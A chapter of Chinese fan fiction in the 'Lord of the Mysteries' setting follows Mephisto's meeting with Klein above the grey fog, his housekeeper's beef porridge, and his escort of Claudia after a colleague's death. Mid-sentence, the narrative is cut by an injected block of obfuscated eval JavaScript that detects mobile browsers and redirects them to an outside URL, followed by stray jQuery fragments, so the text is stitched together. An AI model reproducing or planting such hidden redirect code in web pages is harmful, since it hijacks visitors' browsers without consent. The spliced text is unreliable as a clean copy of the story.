你管这叫片刻……分明是我的后半辈子。


    克莱恩心情复杂。


    “教皇”先生，我也是要睡觉的。


    就算把你拉上灰雾以后，我能找到合适的理由回去休息，也无法保证在我离开后，你依然与灰雾保持链接，而不是被踢出去。


    哪怕没有踢出去，我的灵性也支撑不了太长时间。


    愚者先生用手指敲打了青铜长桌的边缘，轻笑着说：


    “你付不起代价。”


    你不要跟我学这个！


    梅菲斯特有些可惜，没能看到小克的表情。


    灰雾上就他们两个人，克莱恩的注意力肯定放在自己身上，偷摸看他肯定会被发现。


    他低垂着头，惶恐地说：“是我失礼了，请您宽恕我的冒昧。”


    普通的廷根市民，就算遇到未知事件，发自内心地感到恐惧，也不会这样谨慎。梅菲斯特肯定经历了许多不太好的事，才会做得这样熟练。


    “我准许你在危急时刻颂念我的名，正如此次。”克莱恩说，“这是你提供魔药配方的报酬。”


    “赞美您的仁慈，愚者先生。”


    灰雾之上陷入了沉寂。


    克莱恩计算着时间。


    我应该留“教皇”在这里呆多久？


    不知道他每次会经受多久的呓语，大概比我听到“弗雷格拉”和“霍纳奇斯”的时间更长，毕竟我只是头痛，没有到失控的地步。


    “教皇”也考虑到了这点，主动道：


    “来到您的神国，呓语的污染会即刻消失，我的灵性也会随之平静下来。我想，每次我在这里停留的时间不必太久，只需要借助您的力量将污染屏蔽。”


    “这并不难。”


    我可以把他拉上来再迅速踢下去……听起来莫名鬼畜，但非常节省时间，哪怕我在上班，也能找借口独处，登上灰雾。


    克莱恩淡淡地说：“那么，就到这里吧。”


    梅菲斯特从座椅上站起，下一秒离开灰雾，回到了自己的身体中。


    动作真快啊，小克。我都没来得及弯腰。


    梅菲斯特收好只剩半截的蜡烛和灵性材料，解除灵性空间，捡起角落处的白面包。


    吃掉小半块面包，突然有了饥饿感。


    梅菲斯特将拿了些零钱，装进钱包里，穿好外套，对贝利亚说：


    “我准备去看医生。”


    “您早上就应该去的。”贝利亚十分赞同，“需不需要我陪您一起？我刚才在剁牛肉，出门的话得换件衣服。”


    她指了指身上带血的围裙，里面的衣袖也沾染了油渍。


    别告诉我你在家里屠宰了一头牛。


    自从成为“秘祈人”，贝利亚越来越邪性了。


    一个被“罪犯”途径非凡者养育成人的“秘祈人”，真是叠满了buff。


    梅菲斯特微笑：“不用了，我自己过去就可以。顺便，我会遵从医嘱，在外面食用晚餐，不必准备我的那份了。”


    贝利亚失望地说，“我打算给您熬牛肉粥。”


    “下次吧，贝利亚，我现在可能不适合吃肉。”


    “好的！”


    梅菲斯特快速离开。


    不需要看成品，他都能想象到贝利亚的牛肉粥是什么样子，肯定牛是牛、肉是肉的，说不定还带血。


    逃过一劫。


    他来到一家普通的街边餐厅，点了份芜菁汤、费内波特海鲜饭、水果沙拉，还有一小碟浇了黑胡椒汁的土豆泥。


    吃过饭后天色有些暗了，但距离贝利亚做好晚饭还有一段时间。


    梅菲斯特担心现在回去会把刚吃掉的食物吐出来，决定在外面散会儿步。


    艾伯特死后，应该会有新的极光会成员顶替他的位置，明天可以跟克劳迪亚打听一下。


    阿尔瓦·亨特会调查我。


    掌握“秘祈人”途径的隐秘组织极其有限，市面上关于“牧羊人”的信息不多，加上同为序列5“欲望使徒”，价值比亨特给我的300镑高多了。


    无论他是否舍得花这笔钱，都会认识到我掌握着价值极高的知识，不是普通低序列非凡者能比的。


    A先生并没有告诉我聚会的时间，不知他下次是否还会邀请我……上次聚会我并没有花他的钱，只是跟他要了一份“不死肉菌”，我是为了真实造物主跟他要的，他会理解的。


    佛尔思和休居住在乔伍德区。


    引导佛尔思成为“学徒”的安丽萨太太埋葬在西区的格林墓园，她偶尔会过去祭拜。


    休活跃在东区和码头区，经常与黑.帮和流浪汉们打交道。


    每个人都有自己的社交圈子，只有我，还没站稳脚跟。


    我交际的方向在新党和工厂主们，未来的社交圈子会增加一些贵族，与塔罗会其他成员略有重合。


    这是没有办法的事，我必须先解决悬在头顶上的麻烦——真实造物主。


    夜风吹得梅菲斯特有些冷，他将大衣的领子立起，走进一家甜品店，买了杯热可可，拿着它返回住所。


    -


    克莱恩一直思考着“教皇”在聚会上提供的信息，思考着该怎样合理地告知队长，直到晚饭时都在走神。


    “克莱恩，你还好吗？”梅丽莎担忧地看着他。


    “是不是太累了？”班森也说。


    克莱恩赶紧将在汤里泡过头的燕麦面包捞出来，无奈地笑道：“你们是不是忘记了，我今天休假。大概是午睡的时间太久，清醒一下就好了。”


    梅丽莎点了点头。


    班森说：“如果有问题，可以说出来，我可以帮忙参考。”


    克莱恩笑道：“好的。”


    我正是在发愁怎么说出口，抱歉，班森。


    克莱恩最终决定暂时不告诉队长，先独自去调查，验证“教皇”的信息是否正确。


    邓恩问起消息的来源，我就可以直接告诉他，是在占卜家俱乐部时无意中发现的。


    什么样的证据，足够证明他们的身份，又不会为我带来危险？


    受限于“愚者”的身份，我无法在聚会上直接开口询问，我能选择的求助对象只有老尼尔，希望他能提供有用的信息。


    -


    清晨。


    梅菲斯特精神焕发，难得睡了个好觉。


    他穿着亚麻材质的居家服坐在客厅，在自制日历


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904380|192354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上圈起数字9，放下日历，拿起桌面上的报纸。


    《贝克兰德早报》的第五版出现了收购信息。


    梅菲斯特记下数字，开始阅读新闻，没在上面看到与艾伯特的死讯。


    “赫尔先生，早餐好了！”


    梅菲斯特放下报纸，在心中默念，这是免费的免费的。


    换成我自己的收入，根本负担不起这些高档的食材，也不可能雇佣不起另外的厨师和女仆。


    他的心情平静，脸上带着和煦的笑容：“今天早餐是什么？”


    “牛肉粥。”贝利亚说，“我已经熟练掌握去腥的流程，只是肉质好像没有昨天那么新鲜了，您尝尝看。”


    牛肉粥的样子看起来跟他预料中相差不大。


    梅菲斯特淡然地将奶酪夹在面包中，歉意地说：


    “医生告诉我，暂时不能吃肉类，抱歉，贝利亚，忘记跟你说了。”


    贝利亚毫不气馁：“没关系，等您的病好了，我再给您做。”


    梅菲斯特换好衣服，与她道别，前往奥尔德伯里家。


    用过女仆特意送来的司康饼和红茶，穿着一袭黑色连衣裙，戴着黑色蕾丝手套和同色纱帽的克劳迪亚女士出现在阳光房。


    看到梅菲斯特的脸色后，她顿了顿：


    “你看起来比上次见面更加憔悴，是身体不适吗？”


    “只是普通的感冒。”


    梅菲斯特本就忧郁的面容看起来更加苍白，克劳迪亚下意识将语气放得和缓：


    “抱歉，赫尔，没能提前告知，今天不能去工厂了。


    “艾伯特·胡克昨日突然去世，他是贝克兰德区的运输经理，为我工作了有些时间，我得过去看看。”


    梅菲斯特怔了怔：


    “很抱歉听到这样的噩耗，女士，我会陪同您一起前往。”


    克劳迪亚颔首。


    这个时代的男士正装普遍为黑白灰色，服务行业的装扮色彩会稍显艳丽，与绅士们加以区分。


    梅菲斯特的西装礼服也是纯黑，参加葬礼并不违和。


    他与另外几名保镖一起，跟随克劳迪亚上了马车。


    一段时间不见，几位保镖的态度依然冷漠。


    梅菲斯特不以为意，坐在克劳迪亚身边，与雇主闲聊。


    “这位艾伯特先生是不是参加过您周末举办的宴会？”


    克劳迪亚慎重地点头，她靠近梅菲斯特，打开羽毛扇，遮挡住其他人的视线，轻声询问：


    “他会不会是被那些该死的大气污染委员会的会员谋杀了？”


    “我不知道，女士。


    “实不相瞒，在宴会上，我与艾伯特先生打过交道，他是一名低序列非凡者。艾伯特并未察觉到我的特殊，我们只做了表面寒暄，并未深入交流。”


    克劳迪亚震惊地看着他，似乎难以想象，一个普通的货物运输经理竟然是非凡者。


    梅菲斯特问：


    “您知道艾伯特的告别仪式在哪座教堂举行吗？”


    “丰收教堂。”克劳迪亚说，“他信仰大地母神教会，大地母神教会在贝克兰德的教堂并不多，最近的就是大桥南区的丰收教堂。”